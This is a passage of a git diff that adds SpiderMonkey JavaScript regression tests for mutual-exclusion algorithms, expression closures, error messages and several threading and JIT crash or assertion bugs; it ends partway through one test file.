+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/README b/js/src/tests/js1_8/README
new file mode 100644
index 000000000..3dc2f56a9
--- /dev/null
+++ b/js/src/tests/js1_8/README
@@ -0,0 +1 @@
+JavaScript 1.8
diff --git a/js/src/tests/js1_8/browser.js b/js/src/tests/js1_8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/browser.js
diff --git a/js/src/tests/js1_8/extensions/browser.js b/js/src/tests/js1_8/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/browser.js
diff --git a/js/src/tests/js1_8/extensions/dekker.js b/js/src/tests/js1_8/extensions/dekker.js
new file mode 100644
index 000000000..26d93d4fe
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/dekker.js
@@ -0,0 +1,68 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+
+var summary = "Dekker's algorithm for mutual exclusion";
+// Adapted from pseudocode in Wikipedia:
+// http://en.wikipedia.org/wiki/Dekker%27s_algorithm
+
+printStatus (summary);
+
+var N = 500; // number of iterations
+
+// the mutex mechanism
+var f = [false, false];
+var turn = 0;
+
+// resource being protected
+var counter = 0;
+
+function worker(me) {
+ let him = 1 - me;
+
+ for (let i = 0; i < N; i++) {
+ // enter the mutex
+ f[me] = true;
+ while (f[him]) {
+ if (turn != me) {
+ f[me] = false;
+ while (turn != me)
+ ; // busy wait
+ f[me] = true;
+ }
+ }
+
+ // critical section
+ let x = counter;
+ sleep(0.003);
+ counter = x + 1;
+
+ // leave the mutex
+ turn = him;
+ f[me] = false;
+ }
+
+ return 'ok';
+}
+
+var expect;
+var actual;
+
+if (typeof scatter == 'undefined' || typeof sleep == 'undefined') {
+ print('Test skipped. scatter or sleep not defined.');
+ expect = actual = 'Test skipped.';
+} else {
+ var results = scatter([function () { return worker(0); },
+ function () { return worker(1); }]);
+
+ expect = "Thread status: [ok,ok], counter: " + (2 * N);
+ actual = "Thread status: [" + results + "], counter: " + counter;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/expclo.js b/js/src/tests/js1_8/extensions/expclo.js
new file mode 100644
index 000000000..96b067ed6
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/expclo.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Brendan Eich
+ */
+
+var summary = "Flat expression closure source coordinate fencepost test";
+
+function f(a) {
+ if (a) {
+ let b = 42;
+ let c = function () a+b;
+ ++b;
+ return c;
+ }
+ return null;
+}
+
+var expect = 44;
+var actual = f(1)();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/expclo2.js b/js/src/tests/js1_8/extensions/expclo2.js
new file mode 100644
index 000000000..2c192d861
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/expclo2.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Brendan Eich
+ */
+
+var summary = "Partial flat expression closure upvar order test";
+
+function f(a) {
+ if (a) {
+ let b = 42;
+ let c = function () b+a;
+ ++b;
+ return c;
+ }
+ return null;
+}
+
+var expect = 44;
+var actual = f(1)();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/lamport.js b/js/src/tests/js1_8/extensions/lamport.js
new file mode 100644
index 000000000..d9e9d6636
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/lamport.js
@@ -0,0 +1,93 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------
+
+var summary = "Lamport Bakery's algorithm for mutual exclusion";
+// Adapted from pseudocode in Wikipedia:
+// http://en.wikipedia.org/wiki/Lamport%27s_bakery_algorithm
+
+printStatus(summary);
+
+var N = 15; // Number of threads.
+var LOOP_COUNT = 10; // Number of times each thread should loop
+
+function range(n) {
+ for (let i = 0; i < n; i++)
+ yield i;
+}
+
+function max(a) {
+ let x = Number.NEGATIVE_INFINITY;
+ for each (let i in a)
+ if (i > x)
+ x = i;
+ return x;
+}
+
+// the mutex mechanism
+var entering = [false for (i in range(N))];
+var ticket = [0 for (i in range(N))];
+
+// the object being protected
+var counter = 0;
+
+function lock(i)
+{
+ entering[i] = true;
+ ticket[i] = 1 + max(ticket);
+ entering[i] = false;
+
+ for (let j = 0; j < N; j++) {
+ // If thread j is in the middle of getting a ticket, wait for that to
+ // finish.
+ while (entering[j])
+ ;
+
+ // Wait until all threads with smaller ticket numbers or with the same
+ // ticket number, but with higher priority, finish their work.
+ while ((ticket[j] != 0) && ((ticket[j] < ticket[i]) ||
+ ((ticket[j] == ticket[i]) && (i < j))))
+ ;
+ }
+}
+
+function unlock(i) {
+ ticket[i] = 0;
+}
+
+function worker(i) {
+ for (let k = 0; k < LOOP_COUNT; k++) {
+ lock(i);
+
+ // The critical section
+ let x = counter;
+ sleep(0.003);
+ counter = x + 1;
+
+ unlock(i);
+ }
+ return 'ok';
+}
+
+function makeWorker(id) {
+ return function () { return worker(id); };
+}
+
+var expect;
+var actual;
+
+if (typeof scatter == 'undefined' || typeof sleep == 'undefined') {
+ print('Test skipped. scatter or sleep not defined.');
+ expect = actual = 'Test skipped.';
+} else {
+ scatter([makeWorker(i) for (i in range(N))]);
+
+ expect = "counter: " + (N * LOOP_COUNT);
+ actual = "counter: " + counter;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/peterson.js b/js/src/tests/js1_8/extensions/peterson.js
new file mode 100644
index 000000000..de8514967
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/peterson.js
@@ -0,0 +1,57 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------
+
+var summary = "Peterson's algorithm for mutual exclusion";
+
+printStatus(summary);
+
+var N = 500; // number of iterations
+
+// the mutex mechanism
+var f = [false, false];
+var turn = 0;
+
+// the resource being protected
+var counter = 0;
+
+function worker(me) {
+ let him = 1 - me;
+
+ for (let i = 0; i < N; i++) {
+ // enter the mutex
+ f[me] = true;
+ turn = him;
+ while (f[him] && turn == him)
+ ; // busy wait
+
+ // critical section
+ let x = counter;
+ sleep(0.003);
+ counter = x+1;
+
+ // leave the mutex
+ f[me] = false;
+ }
+
+ return 'ok';
+}
+
+var expect;
+var actual;
+
+if (typeof scatter == 'undefined' || typeof sleep == 'undefined') {
+ print('Test skipped. scatter or sleep not defined.');
+ expect = actual = 'Test skipped.';
+} else {
+ var results = scatter ([function() { return worker(0); },
+ function() { return worker(1); }]);
+ expect = "Thread status: [ok,ok], counter: " + (2 * N);
+ actual = "Thread status: [" + results + "], counter: " + counter;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-353116.js b/js/src/tests/js1_8/extensions/regress-353116.js
new file mode 100644
index 000000000..d3a1349f8
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-353116.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353116;
+var summary = 'Improve errors messages for null, undefined properties';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: undefined has no properties';
+ actual = 'No Error';
+
+ try
+ {
+ undefined.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'TypeError: null has no properties';
+ actual = 'No Error';
+
+ try
+ {
+ null.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'TypeError: x is undefined';
+ actual = 'No Error';
+
+ try
+ {
+ x = undefined;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'TypeError: x is null';
+ actual = 'No Error';
+
+ try
+ {
+ x = null;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-385729.js b/js/src/tests/js1_8/extensions/regress-385729.js
new file mode 100644
index 000000000..82d06b6f6
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-385729.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385729;
+var summary = 'uneval(eval(expression closure))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof eval != 'undefined' && typeof uneval != 'undefined')
+ {
+ expect = '(function f () /x/g)';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval(expect));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(expect, actual, summary);
+
+ expect = '({get f () /x/g})';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval("({get f () /x/g})"));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(expect, actual, summary);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-394709.js b/js/src/tests/js1_8/extensions/regress-394709.js
new file mode 100644
index 000000000..d04d8832f
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-394709.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394709;
+var summary = 'Do not leak with object.watch and closure';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ assertEq(finalizeCount(), 0, "invalid initial state");
+
+ runtest();
+ gc();
+ assertEq(finalizeCount(), 1, "leaked");
+
+ runtest();
+ gc();
+ assertEq(finalizeCount(), 2, "leaked");
+
+ runtest();
+ gc();
+ assertEq(finalizeCount(), 3, "leaked");
+
+
+ function runtest () {
+ var obj = { b: makeFinalizeObserver() };
+ obj.watch('b', watcher);
+
+ function watcher(id, old, value) {
+ ++obj.n;
+ return value;
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-415721.js b/js/src/tests/js1_8/extensions/regress-415721.js
new file mode 100644
index 000000000..b5f66f779
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-415721.js
@@ -0,0 +1,44 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415721;
+var summary = 'jsatom.c double hashing re-validation logic is unsound';
+
+printStatus (summary);
+
+var VARS = 10000;
+var TRIES = 100;
+
+function atomizeStressTest() {
+ var fn = "function f() {var ";
+ for (var i = 0; i < VARS; i++)
+ fn += '_f' + i + ', ';
+ fn += 'q;}';
+
+ function e() { eval(fn); }
+
+ for (var i = 0; i < TRIES; i++) {
+ scatter([e,e]);
+ gc();
+ }
+}
+
+var expect;
+var actual;
+
+expect = actual = 'No crash';
+if (typeof scatter == 'undefined' || typeof gc == 'undefined') {
+ print('Test skipped. scatter or gc not defined.');
+ expect = actual = 'Test skipped.';
+} else {
+ atomizeStressTest();
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_8/extensions/regress-417131.js b/js/src/tests/js1_8/extensions/regress-417131.js
new file mode 100644
index 000000000..1f80246a2
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-417131.js
@@ -0,0 +1,76 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 417131;
+var summary = 'stress test for cache';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(N)
+ {
+ for (var i = 0; i != N; ++i) {
+ var obj0 = {}, obj1 = {}, obj2 = {};
+ obj1['a'+i] = 0;
+ obj2['b'+i] = 0;
+ obj2['b'+(i+1)] = 1;
+ for (var repeat = 0;repeat != 2; ++repeat) {
+ var count = 0;
+ for (var j in obj1) {
+ if (j !== 'a'+i)
+ throw "Bad:"+j;
+ for (var k in obj2) {
+ if (i == Math.floor(N/3) || i == Math.floor(2*N/3))
+ gc();
+ var expected;
+ switch (count) {
+ case 0: expected='b'+i; break;
+ case 1: expected='b'+(i+1); break;
+ default:
+ throw "Bad count: "+count;
+ }
+ if (expected != k)
+ throw "Bad k, expected="+expected+", actual="+k;
+ for (var l in obj0)
+ ++count;
+ ++count;
+ }
+ }
+ if (count !== 2)
+ throw "Bad count: "+count;
+ }
+ }
+ }
+
+ var array = [function() { f(10); },
+ function() { f(50); },
+ function() { f(200); },
+ function() { f(400); }
+ ];
+
+ if (typeof scatter == "function") {
+ scatter(array);
+ } else {
+ for (var i = 0; i != array.length; ++i)
+ array[i]();
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-417817.js b/js/src/tests/js1_8/extensions/regress-417817.js
new file mode 100644
index 000000000..0d303c325
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-417817.js
@@ -0,0 +1,55 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 417817;
+var summary = 'Do not assert: ASSERT_VALID_PROPERTY_CACHE_HIT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+const numThreads = 2;
+const numPasses = 1000;
+
+var tests = {
+ 0: function first(myAn)
+ {
+ /* This print statement is needed to reliably trigger the bug */
+ print("Hello, World!");
+ },
+ length: 1
+};
+
+function runAllTests()
+{
+ var passes;
+ var i;
+
+ for (passes = 0; passes < numPasses; passes++)
+ {
+ for (i = 0; i < tests.length; i++)
+ {
+ tests[0]();
+ }
+ }
+}
+
+if (typeof scatter == 'undefined')
+{
+ print(expect = actual = 'Test skipped. Requires scatter.');
+}
+else
+{
+ var i;
+ var a = [];
+ for (i = 0; i < numThreads; i++)
+ a.push(runAllTests);
+ scatter(a);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-419091.js b/js/src/tests/js1_8/extensions/regress-419091.js
new file mode 100644
index 000000000..4748292ba
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-419091.js
@@ -0,0 +1,52 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419091;
+var summary = 'Do not assert: JS_PROPERTY_CACHE(cx).disabled >= 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof scatter == 'undefined')
+ {
+ print(expect = actual = 'Test skipped. Requires scatter.');
+ }
+ else
+ {
+ if (typeof gczeal == 'undefined')
+ {
+ gczeal = (function () {});
+ }
+
+ gczeal(2);
+
+ function f() {
+ for (let i = 0; i < 10; i++) {
+ let y = { x: i }
+ }
+ }
+
+ for (let i = 0; i < 10; i++)
+ scatter([f, f]);
+
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-445818.js b/js/src/tests/js1_8/extensions/regress-445818.js
new file mode 100644
index 000000000..c481e7c9b
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-445818.js
@@ -0,0 +1,41 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 445818;
+var summary = 'Do not crash with threads';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof scatter == 'undefined')
+{
+ print(expect = actual = 'Test skipped. scatter not defined');
+}
+else
+{
+ var array = [{}, {}, {}, {}];
+
+ function test() {
+ for (var i = 0; i != 42*42*42; ++i) {
+ var obj = array[i % array.length];
+ obj["a"+i] = 1;
+ var tmp = {};
+ tmp["a"+i] = 2;
+ }
+ }
+
+ scatter([test, test, test, test]);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-446169-01.js b/js/src/tests/js1_8/extensions/regress-446169-01.js
new file mode 100644
index 000000000..31250b3fd
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-446169-01.js
@@ -0,0 +1,50 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446169;
+var summary = 'Do not assert: Thin_GetWait(tl->owner) in thread-safe build';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var array = [{}, {}, {}, {}];
+
+function foo()
+{
+ for (var i = 0; i != 42*42*42; ++i)
+ {
+ var obj = array[i % array.length];
+ obj["a"+i] = 1;
+ var tmp = {};
+ tmp["a"+i] = 2;
+ }
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof scatter == 'function')
+ {
+ scatter([foo, foo, foo, foo]);
+ }
+ else
+ {
+ print('Test skipped. Requires thread-safe build with scatter function.');
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
diff --git a/js/src/tests/js1_8/extensions/regress-446169-02.js b/js/src/tests/js1_8/extensions/regress-446169-02.js
new file mode 100644
index 000000000..a7053825d
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-446169-02.js
@@ -0,0 +1,48 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446169;
+var summary = 'Do not assert: Thin_GetWait(tl->owner) in thread-safe build';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var array = [];
+for (var i = 0; i != 100*1000; i += 2) {
+ array[i] = i;
+ array[i+1] = i;
+}
+
+var src = array.join(';x');
+
+function f() {
+ new Function(src);
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof scatter == 'function')
+ {
+ scatter([f, f, f, f]);
+ }
+ else
+ {
+ print('Test skipped. Requires thread-safe build with scatter function.');
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
diff --git a/js/src/tests/js1_8/extensions/regress-452913.js b/js/src/tests/js1_8/extensions/regress-452913.js
new file mode 100644
index 000000000..6b0551422
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-452913.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452913;
+var summary = 'Do not crash with defined getter and for (let)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(this.__defineGetter__("x", function (x)'foo'.replace(/o/g, [1].push)));
+for(let y in [,,,]) for(let y in [,,,]) x = x;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-454744.js b/js/src/tests/js1_8/extensions/regress-454744.js
new file mode 100644
index 000000000..3b22acb9f
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-454744.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454744;
+var summary = 'Do not assert with JIT: PCVAL_IS_SPROP(entry->vword)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ this.__defineGetter__('x', function() 2); for (var j=0;j<4;++j) { x=1; }
+ }
+ catch(ex)
+ {
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-465337.js b/js/src/tests/js1_8/extensions/regress-465337.js
new file mode 100644
index 000000000..fcbc308ed
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-465337.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465337;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var out = [];
+ for (let j = 0; j < 5; ++j) { out.push(6 - ((void 0) ^ 0x80000005)); }
+ print(uneval(out));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-465453.js b/js/src/tests/js1_8/extensions/regress-465453.js
new file mode 100644
index 000000000..ed97e89a1
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-465453.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465453;
+var summary = 'Do not convert (undefined) to "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[(new Boolean(true)), (void 0), (new Boolean(true)), ' +
+ '(new Boolean(true)), (void 0), (void 0), "", "", (void 0)]';
+
+ var out = [];
+ for each (var e in [(new Boolean(true)),
+ (void 0),
+ (new Boolean(true)),
+ (new Boolean(true)),
+ (void 0),
+ (void 0),
+ "",
+ "",
+ (void 0)])
+ out.push(e);
+ print(actual = uneval(out));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-469625.js b/js/src/tests/js1_8/extensions/regress-469625.js
new file mode 100644
index 000000000..549dc9068
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-469625.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Array prototype and expression closures';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: [].__proto__ is not a function';
+
+
+ Array.prototype.__proto__ = function () 3;
+
+ try
+ {
+ [].__proto__();
+ }
+ catch(ex)
+ {
+ print(actual = ex + '');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-471197.js b/js/src/tests/js1_8/extensions/regress-471197.js
new file mode 100644
index 000000000..bdf8ab43b
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-471197.js
@@ -0,0 +1,45 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471197;
+var summary = 'Do not crash when cx->thread is null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var results;
+
+
+ function f() {
+ for (var i = 0; i != 1000; ++i) {
+ }
+ }
+
+ if (typeof scatter == 'function')
+ {
+ results = scatter([f, f]);
+ }
+ else
+ {
+ print('Test skipped due to lack of scatter threadsafe function');
+ }
+
+
+ reportCompare(expect, actual, summary);
+
